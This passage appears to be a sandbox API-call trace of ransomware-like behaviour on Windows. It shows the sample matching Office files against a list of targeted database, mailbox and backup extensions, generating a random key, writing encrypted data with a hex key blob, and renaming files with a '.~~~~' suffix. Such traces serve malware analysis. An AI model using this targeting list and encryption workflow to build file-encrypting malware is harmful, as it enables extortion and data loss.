	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0135.625] lstrlenW (lpString=".bac") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0135.626] lstrlenW (lpString=".mdf") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0135.626] lstrlenW (lpString=".BAK") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0135.626] lstrlenW (lpString=".BAC") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0135.626] lstrlenW (lpString=".dbs") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0135.626] lstrlenW (lpString=".vhdx") returned 5
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0135.626] lstrlenW (lpString=".NDF") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0135.626] lstrlenW (lpString=".dat") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0135.626] lstrlenW (lpString=".DBS") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0135.626] lstrlenW (lpString=".CKP") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0135.626] lstrlenW (lpString=".edb") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0135.626] lstrlenW (lpString=".PST") returned 4
	[0135.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0135.627] lstrlenW (lpString=".dbf") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0135.627] lstrlenW (lpString=".SQL") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0135.627] lstrlenW (lpString=".pst") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0135.627] lstrlenW (lpString=".dbv") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0135.627] lstrlenW (lpString=".SDF") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0135.627] lstrlenW (lpString=".dtxs") returned 5
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0135.627] lstrlenW (lpString=".db3") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0135.627] lstrlenW (lpString=".OST") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0135.627] lstrlenW (lpString=".dbx") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0135.627] lstrlenW (lpString=".DB3") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0135.627] lstrlenW (lpString=".DAT") returned 4
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0135.627] lstrlenW (lpString=".VHDX") returned 5
	[0135.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0135.628] lstrlenW (lpString=".ndf") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0135.628] lstrlenW (lpString=".DB") returned 3
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0135.628] lstrlenW (lpString=".sql") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0135.628] lstrlenW (lpString=".MYD") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0135.628] lstrlenW (lpString=".DBT") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0135.628] lstrlenW (lpString=".ACCDB") returned 6
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0135.628] lstrlenW (lpString=".fdb") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0135.628] lstrlenW (lpString=".bak") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0135.628] lstrlenW (lpString=".myd") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0135.628] lstrlenW (lpString=".DTXS") returned 5
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0135.628] lstrlenW (lpString=".ckp") returned 4
	[0135.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0135.628] lstrlenW (lpString=".dbt") returned 4
	[0135.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0135.629] lstrlenW (lpString=".db") returned 3
	[0135.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".db") returned 0x0
	[0135.629] lstrlenW (lpString=".TXT") returned 4
	[0135.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0135.629] lstrlenW (lpString=".MDF") returned 4
	[0135.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0135.629] lstrlenW (lpString=".bdb") returned 4
	[0135.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0135.629] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.629] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0620) returned 1
	[0135.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.630] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.631] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25562086245) returned 1
	[0135.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba4852b0, dwHighDateTime=0x1d60e1e)) 
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e49e0
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e49e0 | out: hHeap=0x300000) returned 1
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8138
	[0135.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0135.632] GetLastError () returned 0x0
	[0135.632] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0135.632] GetLastError () returned 0x0
	[0135.634] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.634] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0135.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.634] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.634] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.634] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.634] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.635] CloseHandle (hObject=0xc4) returned 1
	[0135.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0135.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.~~~~")) returned 1
	[0135.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.638] GetLastError () returned 0x0
	[0135.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0135.638] lstrlenW (lpString=".cmd") returned 4
	[0135.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0135.638] lstrlenW (lpString=".dll") returned 4
	[0135.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0135.638] lstrlenW (lpString=".bat") returned 4
	[0135.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0135.638] lstrlenW (lpString=".cpl") returned 4
	[0135.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0135.638] lstrlenW (lpString=".sys") returned 4
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0135.639] lstrlenW (lpString=".msc") returned 4
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0135.639] lstrlenW (lpString=".com") returned 4
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".com") returned 0x0
	[0135.639] lstrlenW (lpString=".lnk") returned 4
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0135.639] lstrlenW (lpString=".msp") returned 4
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0135.639] lstrlenW (lpString=".pif") returned 4
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0135.639] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0135.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.641] lstrlenW (lpString=".sqb") returned 4
	[0135.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0135.641] lstrlenW (lpString=".ost") returned 4
	[0135.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0135.641] lstrlenW (lpString=".txt") returned 4
	[0135.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0135.641] lstrlenW (lpString=".mdt") returned 4
	[0135.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0135.642] lstrlenW (lpString=".BDB") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0135.642] lstrlenW (lpString=".eql") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0135.642] lstrlenW (lpString=".DBF") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0135.642] lstrlenW (lpString=".EQL") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0135.642] lstrlenW (lpString=".FDB") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0135.642] lstrlenW (lpString=".EDB") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0135.642] lstrlenW (lpString=".DACPAC") returned 7
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0135.642] lstrlenW (lpString=".VHD") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0135.642] lstrlenW (lpString=".DBV") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0135.642] lstrlenW (lpString=".dacpac") returned 7
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0135.642] lstrlenW (lpString=".sdf") returned 4
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0135.642] lstrlenW (lpString=".accdb") returned 6
	[0135.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0135.643] lstrlenW (lpString=".DBX") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0135.643] lstrlenW (lpString=".MDT") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0135.643] lstrlenW (lpString=".SQB") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0135.643] lstrlenW (lpString=".vhd") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0135.643] lstrlenW (lpString=".bac") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0135.643] lstrlenW (lpString=".mdf") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0135.643] lstrlenW (lpString=".BAK") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0135.643] lstrlenW (lpString=".BAC") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0135.643] lstrlenW (lpString=".dbs") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0135.643] lstrlenW (lpString=".vhdx") returned 5
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0135.643] lstrlenW (lpString=".NDF") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0135.643] lstrlenW (lpString=".dat") returned 4
	[0135.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0135.643] lstrlenW (lpString=".DBS") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0135.644] lstrlenW (lpString=".CKP") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0135.644] lstrlenW (lpString=".edb") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0135.644] lstrlenW (lpString=".PST") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0135.644] lstrlenW (lpString=".dbf") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0135.644] lstrlenW (lpString=".SQL") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0135.644] lstrlenW (lpString=".pst") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0135.644] lstrlenW (lpString=".dbv") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0135.644] lstrlenW (lpString=".SDF") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0135.644] lstrlenW (lpString=".dtxs") returned 5
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0135.644] lstrlenW (lpString=".db3") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0135.644] lstrlenW (lpString=".OST") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0135.644] lstrlenW (lpString=".dbx") returned 4
	[0135.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0135.644] lstrlenW (lpString=".DB3") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0135.645] lstrlenW (lpString=".DAT") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0135.645] lstrlenW (lpString=".VHDX") returned 5
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0135.645] lstrlenW (lpString=".ndf") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0135.645] lstrlenW (lpString=".DB") returned 3
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0135.645] lstrlenW (lpString=".sql") returned 4
